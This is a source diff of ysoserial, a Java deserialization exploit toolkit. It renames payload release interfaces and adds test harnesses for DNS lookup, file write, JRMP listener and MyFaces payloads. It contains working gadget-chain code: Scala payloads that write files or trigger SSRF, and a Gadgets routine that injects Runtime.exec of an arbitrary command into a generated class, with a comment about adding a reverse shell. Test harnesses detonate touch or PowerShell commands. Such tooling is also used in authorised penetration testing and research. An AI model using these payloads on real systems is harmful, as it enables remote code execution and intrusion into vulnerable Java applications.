-                ( (ReleaseableObjectPayload) payload ).release(object);
+        public static void postSerializeRelease(ObjectPayload payload, Object object ) throws Exception {
+            if ( payload instanceof PostSerializeReleasable) {
+                ((PostSerializeReleasable) payload).postSerializeRelease(object);
             }
         }
 
 
-        public static void releasePayload ( String payloadType, Object payloadObject ) {
+        public static void postSerializeRelease(String payloadType, Object payloadObject ) {
             final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
             if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
                 throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
@@ -92,12 +92,17 @@ public interface ObjectPayload <T> {
 
             try {
                 final ObjectPayload payload = payloadClass.newInstance();
-                releasePayload(payload, payloadObject);
+                postSerializeRelease(payload, payloadObject);
             }
             catch ( Exception e ) {
                 e.printStackTrace();
             }
+        }
 
+        public static void postDeserializeRelease(ObjectPayload payload, Object object ) throws Exception {
+            if ( payload instanceof PostDeserializeReleasable) {
+                ((PostDeserializeReleasable) payload).postDeserializeRelease(object);
+            }
         }
     }
 }

src/main/java/ysoserial/payloads/PostDeserializeReleasable.java

@@ -0,0 +1,6 @@
+package ysoserial.payloads;
+
+
+public interface PostDeserializeReleasable<T> extends ObjectPayload<T> {
+    void postDeserializeRelease(T obj) throws Exception;
+}

src/main/java/ysoserial/payloads/PostSerializeReleasable.java

@@ -0,0 +1,5 @@
+package ysoserial.payloads;
+
+public interface PostSerializeReleasable<T> extends ObjectPayload<T> {
+    void postSerializeRelease(T obj ) throws Exception;
+}

src/main/java/ysoserial/payloads/ReleaseableObjectPayload.java

@@ -1,11 +0,0 @@
-package ysoserial.payloads;
-
-
-/**
- * @author mbechler
- *
- */
-public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
-
-    void release( T obj ) throws Exception;
-}

src/main/java/ysoserial/payloads/Scala.java

@@ -7,6 +7,7 @@ import scala.math.Ordering$;
 import scala.sys.process.processInternal$;
 import ysoserial.payloads.annotation.Authors;
 import ysoserial.payloads.annotation.Dependencies;
+import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.PayloadRunner;
 import ysoserial.payloads.util.Reflections;
 
@@ -27,8 +28,6 @@ import java.util.PriorityQueue;
 		Some slight variations will probably work with other versions.
  */
 
-@Dependencies({"org.scala-lang:scala-library:2.12.6"})
-@Authors({ Authors.JACKOFMOSTTRADES })
 public class Scala {
 
     private static PriorityQueue<Throwable> createExploit(Function0<Object> exploitFunction) throws Exception {
@@ -67,7 +66,10 @@ public class Scala {
                                 scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3.apply()
                                     java.io.FileOutputStream.<init>()
      */
-    public static class CreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+    @PayloadTest(harness="ysoserial.test.payloads.EmptyFileWriteTest")
+    @Dependencies({"org.scala-lang:scala-library:2.12.6"})
+    @Authors({ Authors.JACKOFMOSTTRADES })
+    public static class ScalaCreateZeroFile extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
         public PriorityQueue<Throwable> getObject(final String path) throws Exception {
             Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$FileOutput$$anonfun$$lessinit$greater$3");
             Function0<Object> pbf = (Function0<Object>) Reflections.createWithoutConstructor(clazz);
@@ -88,7 +90,10 @@ public class Scala {
                                scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1.apply()
                                    java.net.URL.openStream()
     */
-    public static class Ssrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
+    @PayloadTest(harness="ysoserial.test.payloads.SsrfTest")
+    @Dependencies({"org.scala-lang:scala-library:2.12.6"})
+    @Authors({ Authors.JACKOFMOSTTRADES })
+    public static class ScalaSsrf extends PayloadRunner implements ObjectPayload<PriorityQueue<Throwable>> {
         public PriorityQueue<Throwable> getObject(final String url) throws Exception {
             Class<?> clazz = Class.forName("scala.sys.process.ProcessBuilderImpl$URLInput$$anonfun$$lessinit$greater$1");
             Function0<Object> pbf = (Function0<Object>)Reflections.createWithoutConstructor(clazz);
@@ -99,8 +104,7 @@ public class Scala {
     }
 
 	public static void main(final String[] args) throws Exception {
-		PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
+        //PayloadRunner.run(Scala.CreateZeroFile.class, new String[]{"/tmp/poc.txt"});
         //PayloadRunner.run(Scala.Ssrf.class, new String[]{"http://localhost:7001/foo"});
 	}
-
 }

src/main/java/ysoserial/payloads/URLDNS.java

@@ -41,7 +41,7 @@ import ysoserial.payloads.util.Reflections;
  *
  */
 @SuppressWarnings({ "rawtypes", "unchecked" })
-@PayloadTest(skip = "true")
+@PayloadTest(harness="ysoserial.test.payloads.DnsLookupTest")
 @Dependencies()
 @Authors({ Authors.GEBL })
 public class URLDNS implements ObjectPayload<Object> {

src/main/java/ysoserial/payloads/Wicket1.java

@@ -49,7 +49,7 @@ import ysoserial.payloads.util.Reflections;
 @PayloadTest(harness="ysoserial.test.payloads.FileUploadTest", flaky="possible race condition")
 @Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"})
 @Authors({ Authors.JACOBAINES })
-public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
+public class Wicket1 implements PostSerializeReleasable<DiskFileItem> {
 
     public DiskFileItem getObject(String command) throws Exception {
 
@@ -77,7 +77,7 @@ public class Wicket1 implements ReleaseableObjectPayload<DiskFileItem> {
         throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
     }
 
-	public void release(DiskFileItem obj) throws Exception {
+	public void postSerializeRelease(DiskFileItem obj) throws Exception {
 	}
 
     private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {

src/main/java/ysoserial/payloads/util/Gadgets.java

@@ -114,9 +114,7 @@ public class Gadgets {
         final CtClass clazz = pool.get(StubTransletPayload.class.getName());
         // run command in static initializer
         // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
-            command.replace("\\", "\\\\").replace("\"", "\\\"") +
-            "\");";
+        String cmd = "java.lang.Runtime.getRuntime().exec(\"" + escapeForJavaString(command) + "\");";
         clazz.makeClassInitializer().insertAfter(cmd);
         // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
         clazz.setName("ysoserial.Pwner" + System.nanoTime());
@@ -136,6 +134,10 @@ public class Gadgets {
         return templates;
     }
 
+    public static String escapeForJavaString(String command) {
+        return command.replace("\\", "\\\\").replace("\"", "\\\"");
+    }
+
 
     public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
             IllegalAccessException, InvocationTargetException {

src/main/java/ysoserial/payloads/util/PayloadRunner.java

@@ -2,7 +2,6 @@ package ysoserial.payloads.util;
 
 import java.util.concurrent.Callable;
 
-import ysoserial.Deserializer;
 import ysoserial.Serializer;
 import static ysoserial.Deserializer.deserialize;
 import static ysoserial.Serializer.serialize;
@@ -16,30 +15,40 @@ import ysoserial.secmgr.ExecCheckingSecurityManager;
 @SuppressWarnings("unused")
 public class PayloadRunner {
 
-    public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
+    public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args) throws Exception {
+        return run(clazz, args, false);
+    }
+
+    public static <T> T run(final Class<? extends ObjectPayload<T>> clazz, final String[] args, boolean releasePostDeserialize) throws Exception {
 		// ensure payload generation doesn't throw an exception
+        final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
+
+        System.out.println("generating payload object(s) for command: '" + command + "'");
+
+        final ObjectPayload<?> payload = clazz.newInstance();
+
 		byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
 			public byte[] call() throws Exception {
-				final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
 
-				System.out.println("generating payload object(s) for command: '" + command + "'");
-
-				ObjectPayload<?> payload = clazz.newInstance();
                 final Object objBefore = payload.getObject(command);
 
 				System.out.println("serializing payload");
 				byte[] ser = Serializer.serialize(objBefore);
-				Utils.releasePayload(payload, objBefore);
+				Utils.postSerializeRelease(payload, objBefore);
                 return ser;
 		}});
 
 		try {
 			System.out.println("deserializing payload");
-			final Object objAfter = Deserializer.deserialize(serialized);
+            T deserialize = (T) deserialize(serialized);
+            if (releasePostDeserialize) {
+                Utils.postDeserializeRelease(payload, deserialize);
+            }
+            return deserialize;
 		} catch (Exception e) {
 			e.printStackTrace();
+            return null;
 		}
-
 	}
 
     private static String getDefaultTestCmd() {

src/main/java/ysoserial/payloads/util/Reflections.java

@@ -1,9 +1,6 @@
 package ysoserial.payloads.util;
 
-import java.lang.reflect.AccessibleObject;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.*;
 
 import sun.reflect.ReflectionFactory;
 
@@ -29,27 +26,50 @@ public class Reflections {
 
 	public static Field getField(final Class<?> clazz, final String fieldName) {
         Field field = null;
-	try {
-	    field = clazz.getDeclaredField(fieldName);
-	    setAccessible(field);
-        }
-        catch (NoSuchFieldException ex) {
+	    try {
+            field = clazz.getDeclaredField(fieldName);
+            setAccessible(field);
+        } catch (NoSuchFieldException ex) {
             if (clazz.getSuperclass() != null)
                 field = getField(clazz.getSuperclass(), fieldName);
         }
-		return field;
+        field.setAccessible(true);
+
+        try {
+            Field modifiersField = Field.class.getDeclaredField("modifiers");
+            modifiersField.setAccessible(true);
+            modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        return field;
 	}
 
-	public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-		final Field field = getField(obj.getClass(), fieldName);
+	public static void setFieldValue(Object obj, final String fieldName, final Object value) throws Exception {
+        Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
+        obj = obj instanceof Class ? null : obj;
+		final Field field = getField(clazz, fieldName);
 		field.set(obj, value);
 	}
 
-	public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
-		final Field field = getField(obj.getClass(), fieldName);
+	public static Object getFieldValue(Object obj, final String fieldName) throws Exception {
+        Class clazz = obj instanceof Class ? (Class) obj : obj.getClass();
+        obj = obj instanceof Class ? null : obj;
+		final Field field = getField(clazz, fieldName);
 		return field.get(obj);
 	}
 
+    public static Object getFieldValues(Object obj, final String ... fieldNames) throws Exception {
+        for (String fieldName : fieldNames) {
+            if (obj == null) {
+                throw new NullPointerException();
+            }
+            obj = getFieldValue(obj, fieldName);
+        }
+        return obj;
+    }
+
 	public static Constructor<?> getFirstCtor(final String name) throws Exception {
 		final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
 	    setAccessible(ctor);

src/main/java/ysoserial/secmgr/SecurityManagers.java

@@ -0,0 +1,21 @@
+package ysoserial.secmgr;
+
+import java.util.concurrent.Callable;
+
+public class SecurityManagers {
+    public static <T> Callable<T> wrapped(final Callable<T> callable, final SecurityManager sm) throws Exception {
+        final SecurityManager orig = System.getSecurityManager(); // save sm
+        return new Callable<T>() {
+            @Override
+            public T call() throws Exception {
+                System.setSecurityManager(sm);
+                try {
+                    return callable.call();
+                } finally {
+                    System.setSecurityManager(orig); // restore sm
+                }
+
+            }
+        };
+    }
+}

src/main/resources/logging.properties

@@ -0,0 +1 @@
+org.reflections.level=WARNING

src/test/java/ysoserial/CiTest.java

@@ -2,10 +2,21 @@ package ysoserial;
 
 import org.junit.Test;
 
+import java.util.Map;
+import java.util.TreeMap;
+
 public class CiTest {
     @Test
     public void test() {
-        System.out.println("System.getProperties(): " + System.getProperties());
-        System.out.println("System.getenv(): " + System.getenv());
+        for (Map.Entry<Object,Object> e : new TreeMap<Object,Object>(System.getProperties()).entrySet()) {
+            System.out.println("System property " + e.getKey() + " : " + e.getValue());
+        }
+        for (Map.Entry<String,String> e : new TreeMap<String,String>(System.getenv()).entrySet()) {
+            System.out.println("System env " + e.getKey() + " : " + e.getValue());
+        }
+    }
+
+    public static void main(String[] args) {
+        new CiTest().test();
     }
 }

src/test/java/ysoserial/test/payloads/CommandExecTest.java

@@ -10,7 +10,7 @@ import java.util.UUID;
 import java.util.concurrent.Callable;
 
 public class CommandExecTest implements CustomTest {
-    private final File testFile =
+    protected final File testFile =
         new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
 
     @Override
@@ -28,10 +28,14 @@ public class CommandExecTest implements CustomTest {
 
     @Override
     public String getPayloadArgs() {
+        return getTouchCmd(testFile.toString());
+    }
+
+    public static String getTouchCmd(String file) {
         switch (OS.get()) {
             case OSX:
-            case LINUX: return "touch " + testFile;
-            case WINDOWS: return "powershell -command new-item -type file " + testFile;
+            case LINUX: return "touch " + file;
+            case WINDOWS: return "powershell -command new-item -type file " + file;
             default: throw new UnsupportedOperationException("unsupported os");
         }
     }

src/test/java/ysoserial/test/payloads/DnsLookupTest.java

@@ -0,0 +1,54 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import sun.security.util.SecurityConstants;
+import ysoserial.payloads.URLDNS;
+import ysoserial.secmgr.SecurityManagers;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Randomized;
+import ysoserial.test.util.RecordingNameService;
+import ysoserial.test.util.RecordingSecurityManager;
+
+import java.net.SocketPermission;
+import java.security.Permission;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.concurrent.Callable;
+
+public class DnsLookupTest implements CustomTest {
+    private final String testDomain = Randomized.randUUID();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+//        RecordingSecurityManager sm = new RecordingSecurityManager();
+
+        RecordingNameService ns = new RecordingNameService();
+//        Assert.assertFalse("should not have resolved domain",
+//            sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
+        Assert.assertFalse("should not have resolved domain", ns.getLookups().contains(testDomain));
+        try {
+//            SecurityManagers.wrapped(payload, sm).call();
+            ns.install();
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        } finally {
+            ns.uninstall();
+        }
+
+
+        Assert.assertTrue("should have resolved domain", ns.getLookups().contains(testDomain));
+//        Assert.assertTrue("should have resolved domain",
+//            sm.getChecks().contains(new SocketPermission(testDomain, SecurityConstants.SOCKET_RESOLVE_ACTION)));
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return "http://" + testDomain;
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(URLDNS.class);
+    }
+
+}

src/test/java/ysoserial/test/payloads/EmptyFileWriteTest.java

@@ -0,0 +1,40 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import ysoserial.payloads.Scala;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.OS;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.util.concurrent.Callable;
+
+public class EmptyFileWriteTest implements CustomTest {
+    private final File testFile = new File(OS.getTmpDir(), "ysoserial-test-" + Randomized.randUUID());
+    private final String testContent = Randomized.randUUID();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file should not exist", testFile.exists());
+        try {
+            payload.call();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        Files.waitForFile(testFile, 5000);
+        Assert.assertTrue("test file should exist", testFile.exists());
+        Assert.assertEquals(0, testFile.length());
+        testFile.deleteOnExit();
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return testFile.toString();
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Scala.ScalaCreateZeroFile.class, new Class[0]);
+    }
+
+}

src/test/java/ysoserial/test/payloads/JRMPListenerTest.java

@@ -0,0 +1,60 @@
+package ysoserial.test.payloads;
+
+import org.junit.Assert;
+import sun.rmi.transport.ObjectTable;
+import ysoserial.exploit.JRMPClient;
+import ysoserial.payloads.JRMPListener;
+import ysoserial.test.CustomTest;
+import ysoserial.test.util.Files;
+import ysoserial.test.util.ObjectInputFilters;
+import ysoserial.test.util.Randomized;
+
+import java.io.File;
+import java.rmi.Remote;
+import java.util.Random;
+import java.util.concurrent.Callable;
+
+public class JRMPListenerTest implements CustomTest, NeedsAddlClasses {
+    private final File testFile = Files.getTestFile();
+
+    private final int port = Randomized.randPort();
+
+    @Override
+    public void run(Callable<Object> payload) throws Exception {
+        Assert.assertFalse("test file shouldn't exist", testFile.exists());
+
+//        ObjectInputFilters.disableDcgFilter();
+
+        // open listener
+        Remote res = (Remote) payload.call();
+
+        try {
+            // send payload
+            JRMPClient.makeDGCCall("localhost", port, new TestHarnessTest.ExecMockSerializable(CommandExecTest.getTouchCmd(testFile.toString())));
+
+            Files.waitForFile(testFile, 1000);
+
+            Assert.assertTrue("test file should exist", testFile.exists());
+        } finally {
+            // close listener
+            // TODO move to postDeserRelease
+            ObjectTable.unexportObject(res, true);
+        }
+    }
+
+    @Override
+    public String getPayloadArgs() {
+        return "" + port;
+    }
+
+    public static void main(String[] args) throws Exception {
+//        ObjectInputFilters.disableDcgFilter();
+        PayloadsTest.testPayload(JRMPListener.class);
+    }
+
+    public Class[] getAddlClasses() {
+        // not applicable because of unconfigurable DGC native classloader
+        return new Class[] { /* TestHarnessTest.ExecMockSerializable.class */ };
+    }
+
+}

src/test/java/ysoserial/test/payloads/JRMPReverseConnectSMTest.java

@@ -4,6 +4,7 @@ package ysoserial.test.payloads;
 import java.net.URL;
 import java.util.concurrent.Callable;
 
+import ysoserial.payloads.JRMPClient;
 import ysoserial.test.WrappedTest;
 import ysoserial.exploit.JRMPListener;
 
@@ -16,17 +17,11 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
 
     private int jrmpPort;
 
-
-    public JRMPReverseConnectSMTest (String command) {
-        super(command);
+    public JRMPReverseConnectSMTest () {
         // some payloads cannot specify the port
         jrmpPort = 1099;
     }
 
-
-
-
-
     /**
       * {@inheritDoc}
       *
@@ -34,7 +29,7 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
       */
     @Override
     public Callable<Object> createCallable ( final Callable<Object> innerCallable ) {
-        return  super.createCallable(new Callable<Object>() {
+        return super.createCallable(new Callable<Object>() {
             public Object call () throws Exception {
                 JRMPListener l = new JRMPListener(jrmpPort, getExploitClassName(), new URL("http", "localhost", getHTTPPort(), "/"));
                 Thread t = new Thread(l, "JRMP listener");
@@ -58,7 +53,9 @@ public class JRMPReverseConnectSMTest extends RemoteClassLoadingTest implements
         return "localhost:" + jrmpPort;
     }
 
-
-
+    public static void main(String[] args) throws Exception {
+//        System.setProperty("java.rmi.server.useCodebaseOnly", "false");
+        PayloadsTest.testPayload(JRMPClient.class);
+    }
 
 }

src/test/java/ysoserial/test/payloads/JRMPReverseConnectTest.java

@@ -7,8 +7,13 @@ import javax.management.BadAttributeValueExpException;
 
 import org.junit.Assert;
 
+import ysoserial.payloads.Atomikos;
+import ysoserial.payloads.Hibernate2;
+import ysoserial.payloads.JRMPClient;
+import ysoserial.payloads.URLDNS;
 import ysoserial.test.CustomTest;
 import ysoserial.exploit.JRMPListener;
+import ysoserial.test.util.ObjectInputFilters;
 
 
 /**
@@ -30,16 +35,12 @@ public class JRMPReverseConnectTest implements CustomTest {
 
 
     public void run ( Callable<Object> payload ) throws Exception {
-        JRMPListener l = new JRMPListener(port, new BadAttributeValueExpException("foo"));
+        DnsLookupTest innerTest = new DnsLookupTest();
+        JRMPListener l = new JRMPListener(port, new URLDNS().getObject(innerTest.getPayloadArgs()));
         Thread t = new Thread(l, "JRMP listener");
         try {
             t.start();
-            try {
-                payload.call();
-            }
-            catch ( Exception e ) {
-                // ignore
-            }
+            innerTest.run(payload);
             Assert.assertTrue("Did not have connection", l.waitFor(1000));
         }
         finally {
@@ -52,6 +53,13 @@ public class JRMPReverseConnectTest implements CustomTest {
 
     public String getPayloadArgs () {
     	return "rmi://localhost:" + port + "/ExportObject";
+//        return "rmi:localhost:" + port; // old version
+//        return "localhost:" + port;
     }
 
+
+    public static void main(String[] args) throws Exception {
+//        ObjectInputFilters.disableDcgFilter();
+        PayloadsTest.testPayload(JRMPClient.class); // broken by sun.rmi.transport.DGCImpl_Stub.leaseFilter
+    }
 }

src/test/java/ysoserial/test/payloads/MyFacesExecTest.java

@@ -0,0 +1,15 @@
+package ysoserial.test.payloads;
+
+import ysoserial.payloads.Myfaces3;
+import ysoserial.test.CustomDeserializer;
+
+public class MyFacesExecTest extends CommandExecTest implements CustomDeserializer  {
+    // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
+    public Class<?> getCustomDeserializer () {
+        return MyfacesTest.MyfacesDeserializer.class;
+    }
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Myfaces3.class);
+    }
+}

src/test/java/ysoserial/test/payloads/MyfacesTest.java

@@ -23,7 +23,7 @@ import org.mockito.Mockito;
 import org.mockito.invocation.InvocationOnMock;
 import org.mockito.stubbing.Answer;
 
-import ysoserial.payloads.util.Reflections;
+import ysoserial.payloads.Myfaces2;
 import ysoserial.test.CustomDeserializer;
 import ysoserial.Deserializer;
 
@@ -34,31 +34,53 @@ import ysoserial.Deserializer;
  */
 public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeserializer {
 
-
-    public MyfacesTest ( String command ) {
-        super(command);
-    }
-
-
-
+    // FIXME replace CustomDeserializer with inner payload wrapper (w/ limited classloader)
     public Class<?> getCustomDeserializer () {
         return MyfacesDeserializer.class;
     }
 
+
     /**
      * need to use a custom deserializer so that the faces context gets set in the isolated class
      *
      * @author mbechler
      *
      */
-    public static final class MyfacesDeserializer extends Deserializer {
 
+    public static final class MyfacesDeserializer extends Deserializer {
         public static Class<?>[] getExtraDependencies () {
             return new Class[] {
-                MockRequestContext.class, MockELResolver.class
+                MockRequestContext.class, MockELResolver.class, FacesContextSetter.class
             };
         }
 
+        public MyfacesDeserializer ( byte[] bytes ) {
+            super(bytes);
+        }
+
+
+        public static abstract class FacesContextSetter extends FacesContext {
+            public static void set(FacesContext fc) {
+                FacesContext.setCurrentInstance(fc); // protected
+            }
+        }
+
+        @Override
+        public Object call () throws Exception {
+            ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
+            Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
+            FacesContext ctx = createMockFacesContext();
+            try {
+                FacesContextSetter.set(ctx);
+                return super.call();
+            }
+            finally {
+                FacesContextSetter.set(null);
+                Thread.currentThread().setContextClassLoader(oldTCCL);
+            }
+        }
+
+
         private static class MockRequestContext implements Answer<Object> {
 
             private Map<String, Object> attributes = new HashMap<String, Object>();
@@ -135,29 +157,6 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
 
         }
 
-        public MyfacesDeserializer ( byte[] bytes ) {
-            super(bytes);
-        }
-
-
-        @Override
-        public Object call () throws Exception {
-            java.lang.reflect.Method setFC = FacesContext.class.getDeclaredMethod("setCurrentInstance", FacesContext.class);
-            Reflections.setAccessible(setFC);
-            ClassLoader oldTCCL = Thread.currentThread().getContextClassLoader();
-            Thread.currentThread().setContextClassLoader(this.getClass().getClassLoader());
-            FacesContext ctx = createMockFacesContext();
-            try {
-                setFC.invoke(null, ctx);
-                return super.call();
-            }
-            finally {
-                setFC.invoke(null, (FacesContext) null);
-                Thread.currentThread().setContextClassLoader(oldTCCL);
-            }
-        }
-
-
         private static FacesContext createMockFacesContext () throws MalformedURLException {
             FacesContext ctx = Mockito.mock(FacesContext.class);
             CompositeELResolver cer = new CompositeELResolver();
@@ -176,6 +175,13 @@ public class MyfacesTest extends RemoteClassLoadingTest implements CustomDeseria
             Mockito.when(ctx.getELContext()).thenReturn(elc);
             return ctx;
         }
+
     }
 
+
+
+
+    public static void main(String[] args) throws Exception {
+        PayloadsTest.testPayload(Myfaces2.class);
+    }
 }

src/test/java/ysoserial/test/payloads/NeedsAddlClasses.java

@@ -0,0 +1,5 @@
+package ysoserial.test.payloads;
+
+public interface NeedsAddlClasses {
+    public Class[] getAddlClasses();
+}

src/test/java/ysoserial/test/payloads/PayloadsTest.java

@@ -1,33 +1,26 @@
 package ysoserial.test.payloads;
 
 
-import java.io.ByteArrayOutputStream;
 import java.io.File;
-import java.io.OutputStream;
-import java.io.PrintStream;
+import java.io.IOException;
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.net.MalformedURLException;
 import java.net.URL;
-import java.net.URLClassLoader;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Set;
+import java.util.*;
 import java.util.concurrent.Callable;
 
 import org.jboss.shrinkwrap.resolver.api.maven.Maven;
 import org.junit.Assume;
 import org.junit.Test;
-import org.junit.runner.Description;
 import org.junit.runner.JUnitCore;
 import org.junit.runner.Result;
 import org.junit.runner.RunWith;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunListener;
 import org.junit.runners.Parameterized;
 import org.junit.runners.Parameterized.Parameters;
 
 import ysoserial.*;
+import ysoserial.payloads.Atomikos;
 import ysoserial.payloads.DynamicDependencies;
 import ysoserial.payloads.ObjectPayload;
 import ysoserial.test.CustomTest;
@@ -39,6 +32,10 @@ import ysoserial.test.payloads.TestHarnessTest.NoopMockPayload;
 import ysoserial.payloads.annotation.Dependencies;
 import ysoserial.payloads.annotation.PayloadTest;
 import ysoserial.payloads.util.ClassFiles;
+import ysoserial.test.util.Logging;
+import ysoserial.test.util.OpenURLClassLoader;
+import ysoserial.test.util.PayloadListener;
+import ysoserial.test.util.StdIoRedirection;
 
 
 /*
@@ -68,6 +65,10 @@ public class PayloadsTest {
         this.payloadClass = payloadClass;
     }
 
+    public static void testPayload(Class<? extends ObjectPayload<?>> payloadClass) throws Exception {
+        testPayload(payloadClass, new Class[0]);
+    }
+
 
     @Test
     public void testPayload () throws Exception {
@@ -75,7 +76,7 @@ public class PayloadsTest {
     }
 
 
-    public static void testPayload ( final Class<? extends ObjectPayload<?>> payloadClass, final Class<?>[] addlClassesForClassLoader )
+    public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class<?>[] addlClassesForClassLoader)
             throws Exception {
         System.out.println("Testing payload: " + payloadClass.getName());
 
@@ -85,7 +86,7 @@ public class PayloadsTest {
 
         int tries = 1;
         if ( t != null ) {
-            if (System.getProperty("forceTests") == null) {
+            if (! isForceTests()) {
                 if ( !t.skip().isEmpty() ) {
                     Assume.assumeTrue(t.skip(), false);
                 }
@@ -123,6 +124,13 @@ public class PayloadsTest {
             customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
         }
 
+        if (testHarness instanceof NeedsAddlClasses) {
+            List<Class> classes = new LinkedList<Class>();
+            classes.addAll(Arrays.asList(addlClassesForClassLoader));
+            classes.addAll(Arrays.asList(((NeedsAddlClasses) testHarness).getAddlClasses()));
+            addlClassesForClassLoader = classes.toArray(new Class[classes.size()]);
+        }
+
         // TODO per-thread secmgr to enforce no detonation during deserialization
         final byte[] serialized = makeSerializeCallable(payloadClass, payloadCommand).call();
         Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
@@ -130,24 +138,25 @@ public class PayloadsTest {
             callable = ( (WrappedTest) testHarness ).createCallable(callable);
         }
 
-        if (testHarness instanceof CustomTest) {
-            // if marked as flaky try up to 5 times
-            Exception ex = new Exception();
-            for (int i = 0; i < tries; i++) {
-                try {
-                    ((CustomTest) testHarness).run(callable);
-                    ex = null;
-                    break;
-                } catch (Exception e) {
-                    ex = e;
-                }
-            }
-            if (ex != null) throw ex;
-        }
 
+        // if marked as flaky try up to 5 times
+        Exception ex = new Exception();
+        for (int i = 0; i < tries; i++) {
+            try {
+                ((CustomTest) testHarness).run(callable);
+                ex = null;
+                break;
+            } catch (Exception e) {
+                ex = e;
+            }
+        }
+        if (ex != null) throw ex;
+        System.out.println("Successfully tested payload: " + payloadClass.getName());
     }
 
-
+    private static boolean isForceTests() {
+        return System.getProperty("forceTests") != null;
+    }
 
     private static Callable<byte[]> makeSerializeCallable ( final Class<? extends ObjectPayload<?>> payloadClass, final String command ) {
         return new Callable<byte[]>() {
@@ -156,13 +165,12 @@ public class PayloadsTest {
                 ObjectPayload<?> payload = payloadClass.newInstance();
                 final Object f = payload.getObject(command);
                 byte[] serialized =  Serializer.serialize(f);
-                ObjectPayload.Utils.releasePayload(payload, f);
+                ObjectPayload.Utils.postSerializeRelease(payload, f);
                 return serialized;
             }
         };
     }
 
-
     private static Callable<Object> makeDeserializeCallable ( PayloadTest t, final Class<?>[] addlClassesForClassLoader, final String[] deps,
             final byte[] serialized, final Class<?> customDeserializer ) {
         return new Callable<Object>() {
@@ -173,14 +181,12 @@ public class PayloadsTest {
         };
     }
 
-
     private static boolean checkPrecondition ( Class<? extends ObjectPayload<?>> pc, String precondition )
             throws NoSuchMethodException, SecurityException, IllegalAccessException, IllegalArgumentException, InvocationTargetException {
         Method precondMethod = pc.getMethod(precondition);
         return (Boolean) precondMethod.invoke(null);
     }
 
-
     private static String[] buildDeps ( final Class<? extends ObjectPayload<?>> payloadClass ) throws Exception {
         String[] baseDeps;
         if ( DynamicDependencies.class.isAssignableFrom(payloadClass) ) {
@@ -197,146 +203,77 @@ public class PayloadsTest {
         return baseDeps;
     }
 
-
-    static Object deserializeWithDependencies ( byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer )
+    static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies, final Class<?> customDeserializer)
             throws Exception {
